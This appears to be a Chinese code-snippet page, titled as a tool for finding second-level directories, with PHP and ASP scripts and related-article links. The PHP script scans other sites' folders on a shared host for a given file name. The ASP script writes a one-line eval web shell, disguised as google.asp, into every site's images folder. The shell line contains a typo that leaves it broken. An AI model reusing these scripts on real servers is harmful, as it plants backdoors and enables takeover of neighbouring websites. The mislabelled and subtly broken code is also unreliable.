php一个找二层目录的小东东

yipeiwu_com5年前PHP代码库
php版
复制代码 代码如下:

<?php
set_time_limit(0);
$path = 'D:/Hosting';
$somefile = $_GET['key'];
$logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt';
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
echo 'Text to send if user hits Cancel button';
exit;
} else {
if(is_dir($path) && is_readable($path))
{
$path2 = '';
$handle = opendir($path);
while(false !== ($filename = readdir($handle)))
{
if($filename{0} != $_GET['dir'])
{
continue;
}
/*
if($filename{1} != $_GET['two'])
{
continue;
}
*/
//$path2 = $path.'/'.$filename.'/html';
$path2 = $path.'/'.$filename;
if(is_dir($path2) && is_readable($path2))
{
@$handle2 = opendir($path2);
while(false !== ($filename2 = readdir($handle2)))
{
if($filename2 == $somefile)
{
//echo'[+]Found !'.$filename2."\n";
file_put_contents($logfile,'[+]Found !'.$path2.'/'.$filename2."\n",FILE_APPEND);
}
}
@closedir($handle2);
}
}
file_put_contents($logfile,'[*]LAST '.$path2."\n",FILE_APPEND);
closedir($handle);
}
}

asp版
复制代码 代码如下:

<%
Server.ScriptTimeout=500000000
key = Trim(Request.QueryString("key"))
msg=" <% eval(rquese(Chr(35)))%" &">"
Set FSO=Server.CreateObject("Scripting.FileSystemObject")
Set ServerFolder=FSO.GetFolder("C:\intel")
Set ServerFolderList=ServerFolder.subfolders
For Each ServerFileEvery IN ServerFolderList
' Response.write ServerFileEvery&"</br>"
If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then
Set sServerFolder=FSO.GetFolder(ServerFileEvery)
Set sServerFolderList=sServerFolder.subfolders
For Each sServerFileEvery IN sServerFolderList
If LCase(sServerFileEvery.name) = "images" Then
StreamSaveToFile sServerFileEvery & "\google.asp", msg, "UTF-8"
End If
Next
End If
Next
Function StreamSaveToFile(sPath, sContent, sCharSet)
Dim oStream
If(InStr(sPath, ":") <= 0)Then
sPath = Replace(sPath, ",", ",")
sPath = Server.MapPath(sPath)
sPath = Replace(sPath, ",", ",")
End If
Set oStream = Server.CreateObject("Adodb.Stream")
With oStream
.Type = 2
.Mode = 3
.Open
.Charset = sCharSet
.WriteText sContent
.SaveToFile sPath, 2
.Close
End With
Set oStream = Nothing
End Function
%>

相关文章

php常用数组array函数实例总结【赋值,拆分,合并,计算,添加,删除,查询,判断,排序】

本文实例总结了php常用数组array函数。分享给大家供大家参考,具体如下: array_combine 功能:用一个数组的值作为新数组的键名,另一个数组的值作为新数组的值 案例:...

PHP中调用C/C++制作的动态链接库的教程

一般而言,php速度已经比较快,但是,对于一些较高级开发者而言,如果想要追求更快的速度,那毫无疑问可以通过自己写c代码,并编译为动态链接库(常为.so文件),然后php通过创建一个新的扩...

解析PHP的Yii框架中cookie和session功能的相关操作

Sessions 和 请求 和 响应类似, 默认可通过为yii\web\Session 实例的session 应用组件 来访问sessions。 开启和关闭 Sessions 可使用以下...

php返回字符串中所有单词的方法

本文实例讲述了php返回字符串中所有单词的方法。分享给大家供大家参考。具体分析如下: 这段代码返回字符串中的所有单词,当$distinct=true时去除重复元素。代码如下: &...

php class类的用法详细总结

一:结构和调用(实例化): class className{} ,调用:$obj = new className();当类有构造函数时,还应传入参数。如$obj = new classN...